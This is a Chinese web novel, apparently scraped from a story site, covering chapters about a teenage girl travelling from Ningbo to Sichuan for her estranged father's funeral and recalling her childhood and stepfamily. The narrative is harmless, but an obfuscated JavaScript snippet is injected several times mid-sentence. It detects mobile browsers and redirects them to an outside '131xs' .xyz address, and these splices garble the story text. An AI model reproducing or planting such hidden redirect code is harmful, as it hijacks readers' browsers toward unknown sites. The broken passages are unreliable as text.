《他的葬礼之后》 1. 出发 我叫赵无恙，今年十八岁。 此刻的我正带着耳机听着歌，坐在地铁2号线上，前往宁波栎社机场。手机屏幕上显示着10:07，距离登机还有两小时十三分钟。 "前往栎社国际机场的乘客请注意..." 地铁里的广播声将我的思绪拉回现实。我下意识攥紧了斜挎包的肩带，帆布面料在掌心摩擦出细微的声响。背包里只有充电器、身份证和半包纸巾，轻得不像要去参加一场葬礼。 是的，我要准备回四川老家参加一个人的葬礼。 那个人就是我素未谋面、完全没有记忆的亲生父亲。 地铁玻璃映出我的倒影——齐肩的黑发，白净的脸，右耳三枚银质耳钉在顶灯下闪着冷光。邻座的大妈往旁边挪了挪，紧紧地握住她的红色大行李箱。 想了一会儿，我把右耳上的三枚耳钉取下来，放在包里。 "前方到站栎社国际机场。" 我随着人流向出口涌去。现在已经到了2024年12月底，还有一个月就过年了，所以在机场可以看到很多拉着行李箱或者提着大包小包回家的人。 这是我第一次到机场，因为我是第一次坐飞机。 之前每一次回妈妈老家，都是跟着她做火车或者高铁到梓州市。这次可能是因为事发突然吧，妈妈就给我买了机票。我在网上看了下，此时的机票不便宜。 因为外婆生病，妈妈一个星期前就回去了，所以妈妈说让我一个人从宁波坐飞机到成都，然后再从成都做高铁到梓州，她在高铁站门口接我。 我是今天早上接到妈妈的电话，她紧急买了机票，让我什么东西都不用拿直接走就行。于是我就背上我的小背包，拿上手机充电器和身份证就走了。 "CA4572，宁波飞成都..." 自助值机柜台前，我的手指在屏幕上停顿了三秒才按下确认键。登机牌从机器里吐出来时还带着温度，薄薄的纸片上印着"赵无恙"三个字。 刚刚取了票，现在正在排队过安检，就看到妈妈的电话打来。 “乖乖，你到机场了吗？知道怎么去取票吗？怎么操作吗？你可以去找机场的柜台工作人员去问，因为你没有行李就直接去排队过安检。” 一连串的关心接踵而来。 耳机里传来熟悉的声音要比平时更沙哑些。背景音里有四川方言的嘈杂，还有汽车声。她应该是在去高铁站的车上。 妈妈的声音很好听，一直都很细，很温柔，很慢，但很沉稳，能清楚的听到她的吐字。 “妈妈，我问了工作人员，已经取了票，现在正在过安检。” 抬头看去，我已经排到安检通道的第二个人了。前面穿西装的男人把笔记本电脑掏出来又塞回去，金属探测门不时发出刺耳的警报声。 "可以了，下一位。" 我把帆布鞋踩在黄色脚印标志上，张开双臂时闻到自己羽绒服上淡淡的鸡翅味。由于走得匆忙，我随手拿起了我穿了一个星期的外套。 "妈妈，我过完安检了。"我捏着登机牌的一角，前往58号登机口。 “哇哦，无恙真厉害，第一次做飞机就这么顺利。那你就要看好登机时间哦，可以早点在登机口那等着。对了，你饿不饿啊，饿的话可以去吃点，另外你这趟飞机是有午餐的，你可以在飞机上再吃点。” 妈妈温柔的声音娓娓道来。 “我现在不饿，那我等会在飞机上吃飞机餐。” 跟妈妈说这句话前，我刚路过机场里的一个面馆，看了一下一碗普通的牛肉面，最便宜的要58元，我觉得很不划算就没有吃。所以我打算直接去登机口。 “妈妈，我现在在登机口了，还有45分钟到登机时间。” “嗯嗯，等会上飞机后，就去找你的座位，然后系好安全带，跟高铁一样，座位前都有小桌板，飞机起飞的时候需要把小桌板收起来，一般起飞后30-40分钟会发飞机餐。你要喝水或者喝饮料都可以问空姐要，对了，如果冷的话，也可以向空姐要一个毛毯。” 妈妈仍然不耐其烦的告诉我坐飞机的流程。 其实我都能想象她肯定是在小红书上做了攻略，搜索“第一次做飞机注意事项”类似的问题，然后现在再告诉我。 为什么我能这么肯定了？ 一是这些流程在我来机场的路上有查看过，跟妈妈给我描述的基本上一样，估计我俩看的还是同一篇帖子。二是我的记忆中妈妈好像也没有做过飞机。 今天的天气很不好，飘着小雨，湿冷湿冷的，不知道成都是不是也这样。 我一边听着妈妈从耳机里传来的声音，一边也听着机场的嘈杂声。这毕竟也是我第一次做飞机，哪怕到了登机口，我也关注着这里面的一切。妈妈似乎也能感知我这种情绪，没有在意我偶然的恍惚，她还是一直慢慢地叮嘱着我在飞机上如果有事情怎么办，需要上厕所怎么办，遇到气流不要害怕。 时间一分一秒地过去，听着妈妈的声音，跟她聊着天，时间过得很块，这45分钟也没有那么漫长让人难以等待。 “妈妈，我开始排队了，我排在第...123 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788748|174904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 4567个。” 我拿着身份证和登机牌递给工作人员，工作人员只拿了的登机牌，检查后我就跟着前面的人往前走。 我赶紧把这消息告诉了她；“原来在登机口不需要身份证，就需要登机牌就行。” “哦，好像是的，哈哈哈哈，这个我也没有怎么注意。” 妈妈的笑声传来，看来她搜的帖子没有详细到这个环节。心有灵犀一般，我也跟着妈妈笑起来。 “那有摆渡车吗？你是需要去做摆渡车到飞机上吗？” 看来妈妈也好奇。于是我挂断了电话，跟她打了视频电话，让她看看宁波机场。我们来到宁波十多年了，这居然是我俩第一次看到在机场里面的情况。 “没有做摆渡车，直接走的廊桥。妈妈你看外面，下了下雨，你那边也下雨了吗？” “我这边没有，不过和你那边天气差不多。” 我看到视频里的妈妈现在正坐在大巴车里，妈妈的刘海有点打缕了。 看来她最近应该很忙很累吧。 我跟着工作人员的指示，找到了我的座位，运气很好，是靠窗的位置，系好安全带后便让妈妈看飞机外面的景色。 其实也没有什么景色，就是空荡的地面，因为飞机还没起飞。 我旁边是一对情侣，好像是大学生。 哦～对诶，最近学校好像已经陆陆续续放假了。没有那么清楚放假时间是因为我没有读大学，也没读高中。我初中毕业后没考上普高就去读了职高，学校管得松没有什么可学的，最近在妈妈上班的商场里去一家肯德基兼职，当服务员。 “女士们，先生们，我们的飞机已经准备起飞，请您系好安全带，调直座椅靠背，放下座椅扶手，收起小桌板，打开遮光板，并确认手机处于关闭状态。现在由乘务员进行客舱安全检查，谢谢。” 飞机快要起飞了，广播传来了空姐优美的声音，提醒乘客注意事项。 “妈妈，飞机要起飞了，我先不和你说了，我到成都后给你回电话。” “好的，乖乖，不要怕，有事就叫工作人员。”妈妈依依不舍的挂断了视频。 她很想我，非常非常想我。她也很担心我，非常非常担心我。 我知道的，清楚的知道。 其实我今年已经十八岁了，但每一次我出去玩，严格意义说每一次她不在我身边的时候，她总是这样给我打电话打视频询问我。因为她总是很想我，总是担心我。 因为我和妈妈已经相依为命十四年了。 我俩是彼此的依靠。 2. 思阳（1） 飞机引擎发出低沉的轰鸣，开始沿着跑道加速滑行。机舱微微震动，窗外的景物飞速向后掠去。 如果要问我此刻的心情，我找不到确切的词语。没有预想中的难过，也没有焦躁不安，内心平静得像冬日午后的湖面，波澜不惊。然而，一丝难以抑制的好奇，如同阳光洒在湖面上跳跃的粼粼波光，在心底时隐时现。 飞机已爬升至巡航高度，舱内彻底安静下来。刚登机时的喧嚣消失无踪。邻座那对嬉笑的情侣也戴上了眼罩，依偎着沉入梦乡。 这画面让我恍惚。 想起之前每一次坐火车或高铁回外婆家，如果是硬座，我和妈妈也是这样依偎着。我把头枕在她单薄的肩膀上，她温暖的手揽着我的肩，有时候还会用指尖有一下没一下地轻轻拍着，仿佛是给婴儿弹奏无声的摇篮曲，我总能在那安稳的节奏里沉沉睡去。 此刻，我很想靠在那熟悉的肩膀上。 我闭上眼，却毫无睡意。于是，睁开眼，目光落在腕间的手表上，就这样盯着秒针一格一格地跳动。这是我从小的习惯。 这个习惯，大概是跟着妈妈到宁波后才养成的。 记忆里初到宁波的日子，我和妈妈挤在一个小小的房间里。白天，我被锁在里面，只有等到晚上妈妈下班。那房间带个小厕所，还有个电磁炉。妈妈会在出门前给我准备好水和简单的食物，一般都是包子馒头之类的熟食。靠窗边还有一张小书桌，上面堆着不少书，每天晚上睡前，她都会教我认字、念儿歌，第二天我就独自练习她教的内容。 漫长的白天，时间像凝固了。有一次，我在床头柜的杂物里翻出一块旧手表。金属表盘，磨损的皮质表带，指针不知疲倦地走着。我就那样盯着它，看分针一圈又一圈地转动，仿佛能从这机械的循环里抓住点什么。而且，指针转动时还有声音，我就经常放在耳旁听着“滴答”的转动声，听着它让我心情很平静。这也养成了我的听觉比常人要敏感。 对了，那时的我已经能数数了，因为在老家上过两个学期的幼儿园。 也许是年龄太小，又或许是记忆太遥远，太模糊，当时的情绪我现在已难分辨。但按常理推想，我应该是不开心的。因为到了宁波后的那整整一年， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788749|174904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我都没再踏进幼儿园的大门，日复一日地被锁在那个小房间里。只有晚上或者妈妈休息时候才带我出门。 门为什么要锁起来了？ 因为我们是和别人合租的。 那时我不懂什么叫合租，只知道这房子里住着很多人，男女老少都有。妈妈大概是怕她不在时，我一个人跑出去不安全，所以我很少见到外面的租客。而且，我能辨认他们全凭声音，毕竟合租的老房子隔音不太好。 还记得有一次深夜，大概凌晨两点，我饿醒了，妈妈起来去公共厨房给我煮面，我跟着她去了。不一会儿，一对穿着时髦的年轻男女走进来，看到我时一脸惊诧：“哟！这屋里还藏着个小姑娘呢？住了大半年都没见过！” 我被人看到后，妈妈显得有些慌张，因为给我煮的面盐放多了，我吃完后灌了好多水。模糊记得，妈妈后来又出去煮了两碗面端给他们，还在他们房间里待了一会儿才回来。隔着墙板，我只能听到模糊的谈话声，具体说了什么我没听清，或者我现在已经忘记了。但自那以后，这个房子里新搬来的租客也很少知道我的存在。 3. 思阳（2） 不知不觉中，儿时的记忆如潮水般涌来，直到机舱灯光亮起，广播声里提醒发放飞机餐。今天的午餐居然是面，还有一小盒酸奶。我用手机拍了下来，打算下飞机后发给妈妈看。 尝了一口面，味道还行，但比不上妈妈的手艺。酸奶倒是好喝，对我来说，任何酸奶都不会难吃——毕竟我曾喝过花椒味的酸奶，也觉得别有一番风味。 或许是饭后晕碳，困意袭来，意识逐渐模糊。我又陷入了儿时的梦境。 记忆的碎片再次拼接。 在那个小房间里待了快一年，年底时，我住院了。我和妈妈在医院度过了2011年的除夕和春节，因为我被检查出有语言障碍。应该是在老家时我就有这种症状了，但老家的人以为是“女孩子安静”，就没引起重视。 到了宁波，我依旧很少开口，妈妈终于察觉不对，就带我去医院检查，结果是儿童语言发育迟缓，常见原因有大脑功能发育不全、自闭症、脑瘫等。这可把她给吓坏了。万幸检查显示我智力正常，可能只是言语训练不足，不爱说话，导致表达困难。 现在我也很少说话，倒不是因为病根未除，纯粹是我不想说。 对了，在我住院期间，有个年轻男人经常来看我。他和妈妈差不多高，留着平头，脸是圆圆的，比我生父胖些、矮些，但要白些——总之，没我生父好看。不过他人挺和蔼的，长得挺像大熊猫的，所以我并不抵触他。 那时，生父的样子还清晰印在脑海里，当时的我还记得他，当然也想念他，毕竟我离开老家才一年左右。 还记得出院那天，他和妈妈一起来接我。他身边还跟着一个和我年纪相仿的小男孩。那男孩也是白白净净，圆头圆脑，活脱脱是他的缩小版，我心里给他起名“小熊猫”。同样地，他也没我亲哥哥好看。我哥哥脸型瘦削，五官分明，在老家是公认的“小帅哥”，因为“大帅哥”是我生父。 我记得他带我们去吃了肯德基。那个小男孩特别兴奋。当他把儿童套餐端到餐桌上，小男孩特别大方地先分给我一个大鸡腿，那滋味，我至今记得，鲜嫩多汁，美味无比，是我到宁波后吃到最好吃的一个鸡腿。 这也是为什么，哪怕我现在在肯德基做服务员，依然钟情那款鸡腿的味道。下班后，我也时常给自己打包一份带回家。 开春后，他又经常来找我们，大多数也都带着小男孩。我很开心，因为每次他们来，都会出去吃好吃的，有时一起吃面，有时吃四川小炒，不过只有当他带着小男孩时，我们才会去肯德基。 进入初夏时节，他带我和妈妈去了宁波郊区的农村。那里的景致和我四川老家完全不同，没有连绵的大山，只有低矮的小山，小桥流水人家。 记忆里特别清晰的一幕，是我和妈妈初次到他家的场景：妈妈牵着我的手，坐在他家宽敞的院坝里。许多和他父母年纪相仿的老人围坐着，和妈妈聊天，夸妈妈长得漂亮，也夸我长得可爱。那个小男孩递给我一颗水果糖，还总想捏我的脸。其实我很讨厌他碰我的脸，我只喜欢亲哥哥捏我，但我没有勇气甩开他的手。 就像我记得生父一样，那时的我也清晰地记得老家的爷爷奶奶，当然，更记得我的亲哥哥——那段时间，我真的很想很想他，想到晚上会默默流泪那种。 后来的故事，是所有人都能猜到的俗套情节。 在那个闷热的夏天，妈妈嫁给了那个男人，他叫陈建军。对了，那个小男孩叫陈思阳，比我大两个月，成了我的新哥哥。同时，我也改了一个新名字：陈思月。但妈妈从未那样叫过我。 在陈建军的家里，显然生活条件比我四川老家好很多。餐桌上经常能看到肉、虾、螃蟹、各种海鲜，还有许多我没见过的浙江菜。浙江和四川的饮食差异确实很大，这边吃得比较清淡，没有四川的重油重盐重辣，起初我还吃不习惯。 但唯一不变的是，这边的“爷爷奶奶”对待陈思阳和我的态度，竟与我亲生爷爷奶奶对待我和亲哥哥如出一辙。他们总会先给陈思阳夹菜，把好吃的留给他，给他买礼物，给更多零花钱……总之，一切优先照顾哥哥。讽刺的是，这种熟悉的“区别对待”，反而让我感到一丝诡异的舒适和亲切，因为它带着“家”的熟悉味道。 这种扭曲的感受，大概从那时起就在我心里悄然扎根。 哦，对了，平心而论，这个新哥哥陈思阳对我其实非常不错。他和我亲哥哥一样调皮好动，但对我有份天然的善意。每次他爷爷奶奶偷偷塞给他零食，他总会分我一点，前提是让我叫他“哥哥”。但我每次都是默默接过零食，当着他的面吃完，然后面无表情地看着他。接着他就会气急败坏地冲去找爷爷奶奶告状：“她就是不叫我哥哥！我再也不给她东西吃了！”然后气鼓鼓地霸占电视不让我看。 现在回想，他爷爷奶奶不喜欢我，也是人之常情。 但当时的我，内心固执地坚守着一个原则：我只有一个哥哥，一个家。叫了他“哥哥”，就是对我亲哥哥的背叛。 自然，我也没叫过陈家其他人。 我仿佛又回到了出租屋小房间的状态，沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788750|174904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 默，疏离。每当我不肯叫人时，妈妈总会出来打圆场，带着委屈的哭腔解释我的“病情”——说我不是抵触他们，而是有语言障碍，陈建军也在一旁帮妈妈作证。 于是，我便会收获一片同情怜悯的目光。从那之后，新家的爷爷奶奶会从房间里拿出牛奶塞给我，偶尔也会让陈思阳把电视遥控器让给我一会儿，看我喜欢的动画片。邻居或亲戚们则会用我听不懂的方言叽里咕噜议论一番，但那些目光和语调里的“可怜”二字。 我听不懂方言，但读得懂眼神。 毕竟，一个年轻漂亮的单身母亲，含辛茹苦带着一个“有病”的可爱女儿，总能轻易博得同情。每每这时，我和妈妈的眼神便会无声交汇，传递着只有彼此才懂的秘密。大概就是从那时起，我们母女间那种心照不宣的默契，真正建立起来了。 后来，我和陈思阳一起上了当地的幼儿园，妈妈和继父陈建军在城里工作。每个周末他们回来，会给我和陈思阳带玩具礼物。在学校里，陈思阳也会向同学介绍：“这是我妹妹陈思月。要是有人敢欺负她，我就揍你们。” 别看陈思阳长得像个小熊猫，但却是一个小霸王。 同样是单亲家庭，但陈思阳和非常我不一样。 他会很自然地叫我妈妈为“妈妈”，在外人面前叫我“妹妹”。他会主动跟妈妈要礼物，让她帮忙洗衣服、煮面，要求他想要的一切。而我，连改口都需要做很大的心理建设，而且我也从来不敢对陈建军提类似的要求。 噢，还有一点最大的不同：他会主动给他亲生妈妈打电话，也会去他妈妈家玩。他亲妈也常来陈家接他去宁波城里的游乐场，他们关系融洽自然。 这是我最嫉妒陈思阳的地方。 每次他从亲妈那里回来，总会给我带点小礼物。我会敷衍地道谢，心里却翻涌着一种无能的愤怒——我真希望陈思阳也和我一样，不要和他妈妈来往。 因为那是我不曾拥有，也无法企及的。 我妈妈从不给我爸爸打电话，我爸爸也从未问候过我。除了外婆、外公和舅舅，我和老家的血脉联系，早已被无声斩断。 我不知道妈妈和他们之间究竟发生了什么。 那时太小了，只记得有一天妈妈把我带回了外婆家，过了一个星期又带我回了一次自己家，好像发生了激烈的争吵。具体细节，我已经记不清楚了。随后我们就踏上了去浙江的火车。妈妈只对我重复一句话：“无恙，妈妈爱你。” 这句话，直到现在，每晚睡前她依然会对我说。 4. 思阳（3） 在陈建军家生活的三年里，必须客观地说，他们全家对我做到了应有的照顾和关爱。我应该算是开心的，因为我对老家亲人的思念渐渐淡去，他们的面容开始模糊，我也一点点融入这个新的家庭。 是什么时候融入的呢？ 融入的契机，大概发生在妈妈再婚那年的年末。我也五岁了，那个场景至今烙印在我脑海里。 那是幼儿园放寒假前的最后一天。按惯例，陈思阳的奶奶会来接我们。但那天不知出了什么状况，我们在校门口等了很久，也不见人影。陈思阳觉得那么近的路没大人接送也无所谓，提议直接走回家。然后，他带着我在校门外的小摊前买零食，恰巧遇到了杨恩齐。 杨恩齐是我同班同学，一个极其讨厌的男孩。他总抢我的零食，弄坏我的画板，还用难懂的方言嘲笑我，说我坏话。我一直不理他，从不跟他说话。其实在学校里，我已经开始慢慢开口了。 因为老师很喜欢我，常夸我安静、乖巧、聪明——毕竟在一群闹腾的孩子里，一个不哭不闹、学习认真的孩子很难不招老师喜欢。老师常因我认字快、算数好而奖励我小红花。这自然也招来了其他孩子的嫉妒，其中挑头的就是杨恩齐。 我的小红花好几次被他故意扯坏。这些事我从没告诉陈思阳。一是觉得杨恩齐的欺负不算特别严重；二是怕陈思阳知道了会去打架，如果他是为我打的架，陈建军和爷爷奶奶肯定会因此不喜欢我。 偏偏那天，杨恩齐非要当着陈思阳的面戏弄我。他指着我对小摊贩老板和其他围观的孩子大声嚷道：“看！这就是我们班那个从四川来的小哑巴！她有病！是个残废！”后面还说了许多不堪入耳的脏话，大脑的防御机制让我选择性遗忘了那些污言秽语。 我只清晰地记得，杨恩齐的话还没落音，陈思阳猛地抓起手里刚买的一包小黄糕，狠狠砸在杨恩齐的脸上，接着一把将他推倒在地，两人瞬间扭打成一团！尘土飞扬中，我看到有人飞快地跑去找杨恩齐的奶奶了。 “哥哥！快走！杨恩齐奶奶来了！” 在极度的慌乱中，我脱口而出，第一次叫出了“哥哥”那两个字。陈思阳一愣，随即反应极快，一把抓住我的手腕，拉着我像离弦的箭一样冲出人群。身后只留下杨恩齐杀猪般的嚎哭和他奶奶尖厉的咒骂声。 我们一口气跑出很远很远，直到确认安全才停下来，扶着膝盖大口喘气。我看着陈思阳狼狈又兴奋的样子，忍不住笑了起来。他也看着我，咧开嘴笑了，露出缺了一颗的门牙。 我们在附近一座小桥的石墩上坐下，分享着我在混乱中从地上捡起的、杨恩齐那袋还没开封的香酥小黄鱼。 “嘿！看不出来你还挺聪明嘛！知道把他的小黄鱼顺走，这下咱可没亏！”陈思阳一边狼吞虎咽，一边含糊不清地夸我。 当时，我看到陈思阳那袋小黄糕砸过去，撒了一地，觉得小黄糕被浪费了，好可惜，因为这是陈思阳用我的零花钱买的。而杨恩齐那袋崭新的小黄鱼，刚好掉在我脚边，那小黄糕没了?，总得拿点什么补偿回来，对吧？ 回到家，轻松的心情很快被忐忑取代。怕挨骂，我赶紧溜回自己那个位于客厅后面楼梯旁的小隔间，假装写作业来掩饰不安。陈思阳则像个没事人，把书包往沙发上一甩，大喇喇地瘫坐沙发上看电视。我心不在焉地听着外面的动静，很快听到他拿起客厅的座机给他妈妈打电话。 “妈！我跟你说！今天陈思月叫我‘哥哥’了！哈哈哈哈哈！” “真的！第一次！……对了，我今天把杨恩齐那小子揍了一顿！他骂思月是四川来的小哑巴，说她有病！我气不过！” “他活该！……哎呀，我没事儿！他哪打得过我啊！” “还有啊，妈！我发现陈思月可聪明了！我跟杨恩齐打架的时候，她偷偷把杨恩齐的小黄鱼给拿走了！哈哈哈！太解气了！” “我一直都挺照顾她的啊！她都叫我哥哥了，我肯定得保护她嘛！” 他的电话还没讲完，就被打断了。 因为杨恩齐、他奶奶，还有闻讯赶来的陈思阳奶奶一起进了家门。果然，告状来了。我竖起耳朵贴在门板上听着，但不敢出去。 杨恩齐还在抽抽搭搭地哭，他奶奶用又快又急、充满怒气的宁波方言对着陈思阳奶奶噼里啪啦说了一大通，我听不懂，但听出了口气很粗鲁。陈思阳奶奶一边安抚对方，一边数落着陈思阳，承诺会赔偿医药费。 我心里很不服气：不就是额头上擦破点皮吗？贴个创可贴两天就好了，有什么好赔的！ 没多久，陈思阳爷爷也回来了。听到他抄起门边的衣架要打陈思阳的声音，我吓得再也忍不住，猛地拉开门冲了出去！客厅里的人瞬间都愣住了，目光齐刷刷地投向我。 “爷爷！别打哥哥！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“女士们、先生们，本架飞机预计在30分钟后降落成都天府国际机场，地面温度为3摄氏度。飞机即将开始下降，请您调直座椅靠背，放下座椅扶手，收起小桌板……” 空乘柔和悦耳的广播声，像一只无形的手，轻轻拨开了记忆的迷雾，将我拉回现实。 我望向舷窗外。成都的天空灰蒙蒙的，比宁波更加阴沉，厚重得仿佛化不开的铅块，沉沉地压向大地，也沉沉地映照着我心底常年弥漫的底色。 5. 成长（1） 飞机降落在成都天府机场，舱门一开，潮湿的冷空气便灌了进来。我立刻给妈妈发了消息，几乎是同时，她的电话就追了过来。 “乖乖，落地了吗？冷不冷？成都机场大不大？”她的声音里透着关切和不易察觉的紧张。 “落地了，不冷。哇哦，这个机场很大，很新很漂亮。”我边走边描述着航站楼的景象，穿过熙攘的人群，按照指示牌朝地铁口走去。妈妈已经提前到高铁站等我。庆幸的是，成都到梓州市的高铁行程不长。 由于一直跟妈妈通话，刚刚已经耗尽了手机最后一点电量。上了高铁，找到座位下的插座充上电，我才挂了电话。现在是工作日的下午，车厢里人不算多，毕竟离年关还有一个月。 我不喜欢边充电边玩手机，所以现在无事可做。我躺在靠背上眯着眼睛，思绪又像脱缰的野马，奔向了过往。不知道为什么，这趟旅程，回忆总是不请自来。 在陈建军家那三年，我真的特别开心，可能是我记忆中难得的亮色。很大程度上，得益于陈思阳，是他把我从老家的思念里拉了出来。 陈思阳就像一团跳跃的火苗，驱散了我童年的孤寂。 他调皮捣蛋，我就跟在他身后，做个沉默的小跟班。他闯了祸，我便适时出现，用我“文静乖巧”的形象替他解围。因为我在陈家乃至村里的人设很不错：话少，礼貌，安静、懂事、可爱。但事后，陈思阳都会把他过年的压岁钱、新得的玩具、舍不得吃的零食塞给我作为补偿。 那时我们刚读完一年级，即将升入二年级。我的成绩很好，名列前茅，深得老师喜爱。陈思阳看重了我的学习，则开辟了他的“副业”——拉我入伙替人写作业赚钱。 他负责招揽“客户”，我负责代写，一份两块，五五分账。靠着这笔“灰色收入”，陈思阳常带我去游戏厅。老板是他爸的初中同学，因此也默许我跟着。每天放学后，我俩都会偷偷溜去玩上一个小时。拳皇、炸弹人、冒险岛……陈思阳手把手教会了我这些游戏，当然我自己学得也快。偶尔，我们还会带些“慕名而来”的同学，顺便赚点他们的“学费”。 快乐的日子像指缝里的沙，流逝得飞快。对我来说，在陈建军家的日子是温暖的，哪怕妈妈在城里上班，只有周末和节假日才能相见。也正由于每周只有两天见面时间，因此我不知道妈妈是否真正的开心。 因为我快乐，便一厢情愿地认为，所有人都是快乐的，包括妈妈。 然而，后面故事的走向却证明了她应该是不快乐的。 因为，命运的转折猝不及防。三年后的那个假期，我又一次被连根拔起，离开了陈建军的家，告别了这里的“爷爷奶奶”，也告别了陈思阳。 我再一次失去了短暂的“家人”。 因为妈妈和陈建军离婚了。 那时的我已明白“离婚”的含义，不再是第一次离开四川时的茫然无措。又或许是因为格外珍惜这份来之不易的亲情陪伴，离开那天，我哭得撕心裂肺，眼泪鼻涕糊了一脸。妈妈却异常坚决，拉着我的手，头也不回地离开。 我记得离开那天，爷爷奶奶一人塞给我一个厚厚的红包，陈思阳把他的宝贝存钱罐和游戏卡全塞进我怀里。我们俩抱着哭成一团，怎么都分不开。最后是陈建军过来，强硬地拉开了陈思阳。他蹲下身，粗糙的手掌轻轻抚过我的头顶，我看到了他眼里的不舍——不止是对我，或许还有对妈妈。 至今我都不清楚妈妈为何要跟陈建 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一出站，便一眼看到了妈妈。她高挑纤细的身影在人群中格外显眼。一身黑色打扮：黑色短款羽绒服，黑色铅笔裤，黑色长筒靴。黑色的长发披散着，发尾有点枯黄，齐刘海有些出油。皮肤略显粗糙，带着些晒斑。但五官的底子极好：瓜子脸，柳叶眉，鼻梁高挺，嘴唇的形状也好看，只是此刻有些干裂起皮。她的眼神，在疲惫的底色下，依然蕴藏着一种柔韧的力量。 怎么看都是一个美人，只是如今，得在前面加上一个限定词：“饱经风霜的美人”。 没等我走过去，她已经冲过来紧紧抱住了我。“乖乖，冷不冷啊？穿这么少，里面穿毛衣没？”她摸着我的手背，语气满是担忧。 “我不冷，一路上都在室内。”确实是如此，我到现在的行程一直是从地铁到机场，再到飞机、地铁、高铁，暖气充足得很。 “那就好。饿了吧？走，我们先去吃碗粉，去年回来你不是说老家的粉好吃吗？”妈妈挽起我的胳膊，熟门熟路地带我走向高铁站外的小餐馆。一人一碗粉，热气腾腾。 四岁离开四川，在浙江生活了这么多年，我的口味早已没那么嗜辣。还好粉有清红汤可选，味道刚好。这碗粉，成了我每次回来必尝的味道。 看了下时间，现在回老家已没有直达大巴。从市区到县城，再转车到乡里，耗时太久。妈妈干脆叫了一辆“野的”，这是当地对私家车载乘客的称呼。一人一百块，可以直接送我们回老家。 坐上了一辆有些破旧的私家车，我和妈妈一人戴上一只耳机。妈妈揽过我，示意我把头靠在她肩上休息，她的头也轻轻倚靠着我。司机是个二十多岁的年轻人，也不爱说话，一路沉默。 在耳机的音乐声和车辆的颠簸中，我们闭目假寐，回忆的潮水又一次无声漫上心头。 妈妈在厂里一直有缴社保，按政策，我小学毕业后本可以在那片区域直升初中。但那时我的成绩不错，便鼓起勇气向妈妈提出：我想去城里读那所好初中。当然，我没有告诉她我想和陈思阳一起，只是表达我想读好学校。虽然以我们家的条件进去很难。 因为那所学校的门槛极高：钱、人脉、成绩，缺一不可。 钱？妈妈没有多余的积蓄。 人脉？她认识的都是厂里的工友、商场的前同事，都是外地务工人员。或许……还能找陈建军？但以妈妈的性格，她不会找他，不然她也不会为此离婚。况且算是找了陈建军，更别提他也要再托人办事，这个程序太复杂。 成绩？我在普通小学算拔尖，但在更优质的教育资源面前，根本不值一提。 希望渺茫。但我那时涉世未深，还是固执地提出了我还是想要读那个学校，结果虽然可想而知。 果不其然，一个深夜，我起床上厕所，听到她在阳台打电话，声音压得很低，带着一种我从未听过的卑微和祈求： “对，她成绩很好的……需要我提供什么资料吗？……成绩单我明天就去学校开……” “钱……钱的话，我会想办法的……您看需要多少？……只要她能进去读就行……” “……求您再帮帮忙……” 妈妈站在阳台，靠着窗，月光和屋外的路灯的光柔和地映照她孤独的身影，不停地微微低头，言语中透露着一丝祈求与无措，看来电话里的声音似乎不能带给她任何实质性的答案。她每一次开口，声音里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788753|174904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都带着一点颤抖，仿佛怕被夜风吹散。 